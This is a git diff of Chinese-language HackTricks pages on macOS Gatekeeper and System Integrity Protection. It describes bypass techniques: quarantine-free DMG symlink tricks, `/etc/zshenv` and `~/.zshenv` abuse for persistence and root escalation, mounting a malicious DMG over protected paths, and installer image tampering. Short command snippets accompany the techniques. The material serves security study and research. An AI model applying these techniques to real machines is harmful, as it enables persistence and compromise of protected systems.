{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
能够创建一个没有设置隔离属性的文件,这样就有可能绕过Gatekeeper。诀窍是使用AppleDouble命名约定(以`._`开头)创建一个DMG文件应用程序,并创建一个可见文件作为对这个没有隔离属性的隐藏文件的符号链接。当执行dmg文件时,由于它没有隔离属性,它将绕过Gatekeeper。
|
能够创建一个不会设置隔离属性的文件,这就**可能绕过Gatekeeper。** 技巧是使用AppleDouble命名约定(以`._`开头)**创建一个DMG文件应用程序**,并创建一个**可见文件作为指向这个隐藏**文件的符号链接,而这个隐藏文件没有隔离属性。\
|
||||||
|
当**dmg文件被执行**时,由于它没有隔离属性,它将**绕过Gatekeeper**。
|
||||||
```bash
|
```bash
|
||||||
# Create an app bundle with the backdoor an call it app.app
|
# Create an app bundle with the backdoor an call it app.app
|
||||||
|
|
||||||
|
@ -326,14 +423,20 @@ ln -s ._app.dmg s/app/app.dmg
|
||||||
echo "[+] compressing files"
|
echo "[+] compressing files"
|
||||||
aa archive -d s/ -o app.aar
|
aa archive -d s/ -o app.aar
|
||||||
```
|
```
|
||||||
|
### 防止隔离 xattr
|
||||||
|
|
||||||
|
如果在 ".app" 包中没有添加隔离 xattr,执行时**Gatekeeper 不会被触发**。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,26 +2,28 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS的最新版本或以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
|
||||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **基本信息**
|
## **基本信息**
|
||||||
|
|
||||||
**系统完整性保护(SIP)**是macOS中的一项安全技术,它保护某些系统目录不受未经授权的访问,即使是root用户也不例外。它阻止对这些目录的修改,包括创建、更改或删除文件。SIP保护的主要目录有:
|
**系统完整性保护(SIP)** 是macOS中的一项安全技术,它保护某些系统目录不被未授权访问,即使是root用户也不行。它防止对这些目录的修改,包括创建、更改或删除文件。SIP保护的主要目录有:
|
||||||
|
|
||||||
* **/System**
|
* **/System**
|
||||||
* **/bin**
|
* **/bin**
|
||||||
* **/sbin**
|
* **/sbin**
|
||||||
* **/usr**
|
* **/usr**
|
||||||
|
|
||||||
这些目录及其子目录的保护规则在**`/System/Library/Sandbox/rootless.conf`**文件中指定。在此文件中,以星号(\*)开头的路径表示对SIP限制的例外。
|
这些目录及其子目录的保护规则在 **`/System/Library/Sandbox/rootless.conf`** 文件中指定。在此文件中,以星号(\*)开头的路径表示对SIP限制的例外。
|
||||||
|
|
||||||
例如,以下配置:
|
例如,以下配置:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -46,7 +48,7 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||||
```
|
```
|
||||||
在这里,**`restricted`** 标志表明 `/usr/libexec` 目录受到 SIP 的保护。在 SIP 保护的目录中,文件不能被创建、修改或删除。
|
在这里,**`restricted`** 标志表明 `/usr/libexec` 目录受到 SIP 的保护。在 SIP 保护的目录中,文件不能被创建、修改或删除。
|
||||||
|
|
||||||
此外,如果文件包含扩展 **属性** **`com.apple.rootless`**,那么该文件也将被 **SIP 保护**。
|
此外,如果文件包含了扩展 **属性** **`com.apple.rootless`**,那么该文件也将被 **SIP 保护**。
|
||||||
|
|
||||||
**SIP 还限制了其他 root 操作**,例如:
|
**SIP 还限制了其他 root 操作**,例如:
|
||||||
|
|
||||||
|
@ -61,17 +63,15 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||||
|
|
||||||
### SIP 状态
|
### SIP 状态
|
||||||
|
|
||||||
您可以使用以下命令检查系统上是否启用了 SIP:
|
您可以使用以下命令检查您的系统是否启用了 SIP:
|
||||||
```bash
|
```bash
|
||||||
csrutil status
|
csrutil status
|
||||||
```
|
```
|
||||||
```markdown
|
如果您需要禁用SIP,必须在恢复模式下重新启动计算机(在启动期间按Command+R),然后执行以下命令:
|
||||||
如果您需要禁用SIP,您必须在恢复模式下重启您的电脑(在启动期间按Command+R),然后执行以下命令:
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
csrutil disable
|
csrutil disable
|
||||||
```
|
```
|
||||||
如果您希望保持SIP启用状态,但移除调试保护,您可以使用以下方法:
|
如果您希望保持SIP启用,但移除调试保护,您可以使用以下方法:
|
||||||
```bash
|
```bash
|
||||||
csrutil enable --without debug
|
csrutil enable --without debug
|
||||||
```
|
```
|
||||||
|
@ -79,24 +79,24 @@ csrutil enable --without debug
|
||||||
|
|
||||||
SIP 还强加了一些其他限制。例如,它不允许**加载未签名的内核扩展**(kexts),并阻止对 macOS 系统进程的**调试**。它还阻止像 dtrace 这样的工具检查系统进程。
|
SIP 还强加了一些其他限制。例如,它不允许**加载未签名的内核扩展**(kexts),并阻止对 macOS 系统进程的**调试**。它还阻止像 dtrace 这样的工具检查系统进程。
|
||||||
|
|
||||||
[更多 SIP 信息在这个演讲中](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)。
|
[在这次演讲中了解更多 SIP 信息](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)。
|
||||||
|
|
||||||
## SIP 绕过
|
## SIP 绕过
|
||||||
|
|
||||||
如果攻击者设法绕过 SIP,他将能够做到以下事情:
|
如果攻击者设法绕过 SIP,他将能够做到以下事情:
|
||||||
|
|
||||||
* 读取所有用户的邮件、消息、Safari 历史记录等
|
* 读取所有用户的邮件、消息、Safari 历史记录等
|
||||||
* 授予权限给网络摄像头、麦克风或任何东西(通过直接写入受 SIP 保护的 TCC 数据库)- TCC 绕过
|
* 授予摄像头、麦克风或任何东西的权限(通过直接覆盖受 SIP 保护的 TCC 数据库)- TCC 绕过
|
||||||
* 持久性:他可以在受 SIP 保护的位置保存恶意软件,甚至 root 也无法删除它。他还可以篡改 MRT。
|
* 持久性:他可以在受 SIP 保护的位置保存恶意软件,甚至 toot 都无法删除它。他还可以篡改 MRT。
|
||||||
* 更容易加载内核扩展(尽管对此仍有其他严格的保护措施)。
|
* 更容易加载内核扩展(尽管对此仍有其他硬核保护措施)。
|
||||||
|
|
||||||
### 安装包
|
### 安装程序包
|
||||||
|
|
||||||
**用苹果的证书签名的安装包**可以绕过其保护。这意味着,即使是由标准开发者签名的包,如果试图修改受 SIP 保护的目录,也会被阻止。
|
**用苹果证书签名的安装程序包**可以绕过其保护。这意味着,即使是由标准开发者签名的包,如果它们试图修改受 SIP 保护的目录,也会被阻止。
|
||||||
|
|
||||||
### 不存在的 SIP 文件
|
### 不存在的 SIP 文件
|
||||||
|
|
||||||
一个潜在的漏洞是,如果在 **`rootless.conf` 中指定了一个文件但当前不存在**,则可以创建它。恶意软件可以利用这一点在系统上**建立持久性**。例如,恶意程序可以在 `/System/Library/LaunchDaemons` 中创建一个 .plist 文件,如果它在 `rootless.conf` 中列出但不存在的话。
|
一个潜在的漏洞是,如果在 **`rootless.conf` 中指定了一个文件但当前不存在**,则可以创建它。恶意软件可以利用这一点在系统上**建立持久性**。例如,恶意程序可以在 `/System/Library/LaunchDaemons` 中创建一个 .plist 文件,如果它在 `rootless.conf` 中列出但不存在。
|
||||||
|
|
||||||
### com.apple.rootless.install.heritable
|
### com.apple.rootless.install.heritable
|
||||||
|
|
||||||
|
@ -106,17 +106,17 @@ SIP 还强加了一些其他限制。例如,它不允许**加载未签名的
|
||||||
|
|
||||||
#### Shrootless
|
#### Shrootless
|
||||||
|
|
||||||
[**这篇博客文章的研究人员**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) 发现了 macOS 的系统完整性保护(SIP)机制中的一个漏洞,被称为 'Shrootless' 漏洞。这个漏洞围绕着 **`system_installd`** 守护进程,它拥有一个权限,**`com.apple.rootless.install.heritable`**,允许其子进程绕过 SIP 的文件系统限制。
|
[**这篇博客文章的研究人员**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) 发现了 macOS 的系统完整性保护(SIP)机制中的一个漏洞,被称为 'Shrootless' 漏洞。这个漏洞围绕着 **`system_installd`** 守护进程,它拥有一个权限,**`com.apple.rootless.install.heritable`**,允许其任何子进程绕过 SIP 的文件系统限制。
|
||||||
|
|
||||||
**`system_installd`** 守护进程将安装由 **苹果** 签名的包。
|
**`system_installd`** 守护进程将安装由 **苹果** 签名的包。
|
||||||
|
|
||||||
研究人员发现,在安装苹果签名的包(.pkg 文件)期间,**`system_installd`** **运行** 包中包含的任何**安装后**脚本。这些脚本由默认 shell,**`zsh`** 执行,它会自动**运行**来自 **`/etc/zshenv`** 文件的命令(如果存在的话),即使在非交互模式下也是如此。攻击者可以利用这种行为:通过创建一个恶意的 `/etc/zshenv` 文件并等待 **`system_installd` 调用 `zsh`**,他们可以在设备上执行任意操作。
|
研究人员发现,在安装苹果签名的包(.pkg 文件)期间,**`system_installd`** **运行**包中包含的任何**安装后**脚本。这些脚本由默认 shell **`zsh`** 执行,即使在非交互模式下,如果 **`/etc/zshenv`** 文件存在,**`zsh`** 也会自动**运行**该文件中的命令。攻击者可以利用这种行为:通过创建一个恶意的 `/etc/zshenv` 文件并等待 **`system_installd` 调用 `zsh`**,他们可以在设备上执行任意操作。
|
||||||
|
|
||||||
此外,还发现 **`/etc/zshenv` 可以作为一种通用攻击技术**,不仅仅是用于 SIP 绕过。每个用户配置文件都有一个 `~/.zshenv` 文件,其行为与 `/etc/zshenv` 相同,但不需要 root 权限。这个文件可以用作持久性机制,每次 `zsh` 启动时触发,或作为权限提升机制。如果管理员用户使用 `sudo -s` 或 `sudo <command>` 提升为 root,`~/.zshenv` 文件将被触发,有效地提升为 root。
|
此外,还发现 **`/etc/zshenv` 可以作为一种通用攻击技术**,不仅仅用于 SIP 绕过。每个用户配置文件都有一个 `~/.zshenv` 文件,其行为与 `/etc/zshenv` 相同,但不需要 root 权限。这个文件可以用作持久性机制,每次 `zsh` 启动时触发,或作为权限提升机制。如果管理员用户使用 `sudo -s` 或 `sudo <command>` 提升为 root,`~/.zshenv` 文件将被触发,有效地提升为 root。
|
||||||
|
|
||||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||||
|
|
||||||
在 [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) 中发现,同一个 **`system_installd`** 进程仍然可以被滥用,因为它将**安装后脚本放在 `/tmp` 内由 SIP 保护的随机命名文件夹中**。问题是 **`/tmp` 本身并不受 SIP 保护**,所以可以在其上**挂载**一个**虚拟镜像**,然后**安装程序**会将**安装后脚本**放在那里,**卸载**虚拟镜像,**重新创建**所有**文件夹**并**添加**带有**有效载荷**的**安装后**脚本以执行。
|
在 [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) 中发现,同一个 **`system_installd`** 进程仍然可以被滥用,因为它将**安装后脚本放在 `/tmp` 内由 SIP 保护的随机命名文件夹中**。问题是 **`/tmp` 本身并不受 SIP 保护**,因此可以在其上**挂载**一个**虚拟映像**,然后**安装程序**会将**安装后脚本**放在那里,**卸载**虚拟映像,**重新创建**所有**文件夹**并**添加**带有**有效载荷**的**安装后**脚本以执行。
|
||||||
|
|
||||||
#### [fsck\_cs 工具](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
#### [fsck\_cs 工具](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||||
|
|
||||||
|
@ -146,7 +146,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||||
```
|
```
|
||||||
#### [升级器绕过 (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
#### [升级器绕过 (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
||||||
|
|
||||||
当执行时,升级/安装器应用程序(即 `Install macOS Sierra.app`)设置系统从安装器磁盘映像启动(该映像嵌入在已下载的应用程序中)。这个安装器磁盘映像包含升级操作系统的逻辑,例如从 OS X El Capitan 升级到 macOS Sierra。
|
当执行时,升级/安装器应用程序(即 `Install macOS Sierra.app`)会设置系统从安装器磁盘映像启动(该映像嵌入在已下载的应用程序中)。这个安装器磁盘映像包含升级操作系统的逻辑,例如从 OS X El Capitan 升级到 macOS Sierra。
|
||||||
|
|
||||||
为了让系统从升级/安装器映像(`InstallESD.dmg`)启动,`Install macOS Sierra.app` 使用了 **`bless`** 工具(它继承了权限 `com.apple.rootless.install.heritable`):
|
为了让系统从升级/安装器映像(`InstallESD.dmg`)启动,`Install macOS Sierra.app` 使用了 **`bless`** 工具(它继承了权限 `com.apple.rootless.install.heritable`):
|
||||||
|
|
||||||
|
@ -154,20 +154,21 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||||
```bash
|
```bash
|
||||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
因此,如果攻击者能在系统从其启动之前修改升级映像(`InstallESD.dmg`),他就可以绕过SIP。
|
因此,如果攻击者能在系统从其启动之前修改升级映像(`InstallESD.dmg`),他就可以绕过SIP。
|
||||||
|
|
||||||
修改映像以感染它的方法是替换动态加载器(dyld),它会天真地加载并执行恶意的动态链接库(dylib),就像 **`libBaseIA`** 动态链接库一样。因此,每当用户启动安装程序(即升级系统)时,我们的恶意动态链接库(名为libBaseIA.dylib)也会在安装程序中加载并执行。
|
修改映像以感染它的方法是替换动态加载器(dyld),它会天真地加载并执行恶意的动态链接库(dylib),就像 **`libBaseIA`** dylib一样。因此,每当用户启动安装程序(即升级系统)时,我们的恶意dylib(名为libBaseIA.dylib)也会在安装程序中被加载和执行。
|
||||||
|
|
||||||
现在在安装程序内部,我们可以控制升级过程的这一阶段。由于安装程序会“祝福”映像,我们所要做的就是在使用之前篡改映像,**`InstallESD.dmg`**。通过方法交换挂钩 **`extractBootBits`** 方法,这是可能的。\
|
现在在安装程序应用程序'内部',我们可以控制升级过程的这一阶段。由于安装程序会'祝福'映像,我们所要做的就是在使用之前篡改映像,**`InstallESD.dmg`**。通过方法交换挂钩 **`extractBootBits`** 方法,可以实现这一点。\
|
||||||
在磁盘映像被使用之前执行恶意代码,现在是感染它的时候了。
|
在磁盘映像被使用之前,恶意代码被执行,这是感染它的时候。
|
||||||
|
|
||||||
在 `InstallESD.dmg` 内部,有另一个嵌入的磁盘映像 `BaseSystem.dmg`,它是升级代码的“根文件系统”。可以将动态链接库注入到 `BaseSystem.dmg` 中,这样恶意代码就会在可以修改操作系统级文件的进程上下文中运行。
|
在`InstallESD.dmg`内部,有另一个嵌入的磁盘映像`BaseSystem.dmg`,它是升级代码的'根文件系统'。可以将动态库注入到`BaseSystem.dmg`中,这样恶意代码就会在可以修改操作系统级文件的进程上下文中运行。
|
||||||
|
|
||||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||||
|
|
||||||
在 [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) 的这次演讲中,展示了 **`systemmigrationd`**(可以绕过SIP)执行 **bash** 和 **perl** 脚本,这可以通过环境变量 **`BASH_ENV`** 和 **`PERL5OPT`** 来滥用。
|
在这个来自 [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) 的演讲中,展示了如何通过环境变量 **`BASH_ENV`** 和 **`PERL5OPT`** 滥用 **`systemmigrationd`**(可以绕过SIP)执行的 **bash** 和 **perl** 脚本。
|
||||||
|
|
||||||
### **com.apple.rootless.install**
|
### **com.apple.rootless.install**
|
||||||
|
|
||||||
|
@ -175,19 +176,19 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||||
权限 **`com.apple.rootless.install`** 允许绕过SIP
|
权限 **`com.apple.rootless.install`** 允许绕过SIP
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
来自 [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) 系统XPC服务 `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` 拥有权限 **`com.apple.rootless.install`**,它授予进程权限绕过SIP限制。它还 **暴露了一个无任何安全检查的移动文件的方法。**
|
来自 [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) 系统XPC服务 `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` 拥有权限 **`com.apple.rootless.install`**,它授予进程绕过SIP限制的权限。它还 **暴露了一个无需任何安全检查即可移动文件的方法。**
|
||||||
|
|
||||||
## 封闭系统快照
|
## 封闭系统快照
|
||||||
|
|
||||||
封闭系统快照是苹果在 **macOS Big Sur (macOS 11)** 中引入的一个特性,作为其 **系统完整性保护 (SIP)** 机制的一部分,以提供额外的安全性和系统稳定性层。它们本质上是系统卷的只读版本。
|
封闭系统快照是苹果在 **macOS Big Sur (macOS 11)** 中引入的一项功能,作为其 **系统完整性保护 (SIP)** 机制的一部分,以提供额外的安全性和系统稳定性层。它们本质上是系统卷的只读版本。
|
||||||
|
|
||||||
这里是更详细的介绍:
|
以下是更详细的介绍:
|
||||||
|
|
||||||
1. **不可变系统**:封闭系统快照使macOS系统卷“不可变”,意味着它不能被修改。这防止了任何未授权或意外的系统变更,这些变更可能会危害安全性或系统稳定性。
|
1. **不可变系统**:封闭系统快照使macOS系统卷变为"不可变",意味着它不能被修改。这防止了任何未授权或意外的系统变更,这些变更可能会危害安全性或系统稳定性。
|
||||||
2. **系统软件更新**:当你安装macOS更新或升级时,macOS会创建一个新的系统快照。然后macOS启动卷使用 **APFS (Apple文件系统)** 切换到这个新快照。应用更新的整个过程变得更加安全可靠,因为如果更新过程中出现问题,系统总是可以回退到之前的快照。
|
2. **系统软件更新**:当您安装macOS更新或升级时,macOS会创建一个新的系统快照。然后macOS启动卷使用 **APFS (Apple文件系统)** 切换到这个新快照。应用更新的整个过程变得更加安全可靠,因为如果更新过程中出现问题,系统总是可以回退到之前的快照。
|
||||||
3. **数据分离**:结合在macOS Catalina中引入的数据和系统卷分离概念,封闭系统快照功能确保所有数据和设置都存储在一个独立的“**Data**”卷上。这种分离使您的数据独立于系统,简化了系统更新过程并增强了系统安全性。
|
3. **数据分离**:结合在macOS Catalina中引入的数据和系统卷分离概念,封闭系统快照功能确保所有数据和设置都存储在一个独立的"**Data**"卷上。这种分离使您的数据独立于系统,简化了系统更新的过程,并增强了系统安全性。
|
||||||
|
|
||||||
请记住,这些快照是由macOS自动管理的,并且由于APFS的空间共享能力,它们不会占用您磁盘上的额外空间。同样重要的是要注意,这些快照与 **Time Machine快照** 不同,后者是整个系统的用户可访问备份。
|
请记住,这些快照是由macOS自动管理的,并且由于APFS的空间共享能力,它们不会占用您磁盘上的额外空间。同样重要的是要注意,这些快照与 **Time Machine快照** 不同,后者是用户可访问的整个系统的备份。
|
||||||
|
|
||||||
### 检查快照
|
### 检查快照
|
||||||
|
|
||||||
|
@ -230,11 +231,12 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||||
| FileVault: Yes (Unlocked)
|
| FileVault: Yes (Unlocked)
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
在上面的输出中,可以看到 **用户可访问的位置** 被挂载在 `/System/Volumes/Data` 下。
|
在上述输出中,可以看到 **用户可访问的位置** 被挂载在 `/System/Volumes/Data` 下。
|
||||||
|
|
||||||
此外,**macOS系统卷快照** 被挂载在 `/` 并且是 **封闭的**(由操作系统加密签名)。所以,如果SIP被绕过并修改了它,**操作系统将不再启动**。
|
此外,**macOS系统卷快照** 被挂载在 `/` 并且是 **封闭的**(由操作系统加密签名)。所以,如果SIP被绕过并修改了它,**操作系统将不再启动**。
|
||||||
|
|
||||||
还可以通过运行以下命令来 **验证封印是否启用**:
|
还可以通过运行以下命令 **验证封印是否启用**:
|
||||||
|
```
|
||||||
```bash
|
```bash
|
||||||
csrutil authenticated-root status
|
csrutil authenticated-root status
|
||||||
Authenticated Root status: enabled
|
Authenticated Root status: enabled
|
||||||
|
@ -246,12 +248,14 @@ mount
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 如果您在**网络安全公司**工作?您想在**HackTricks**中看到您的**公司广告**?或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
||||||
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue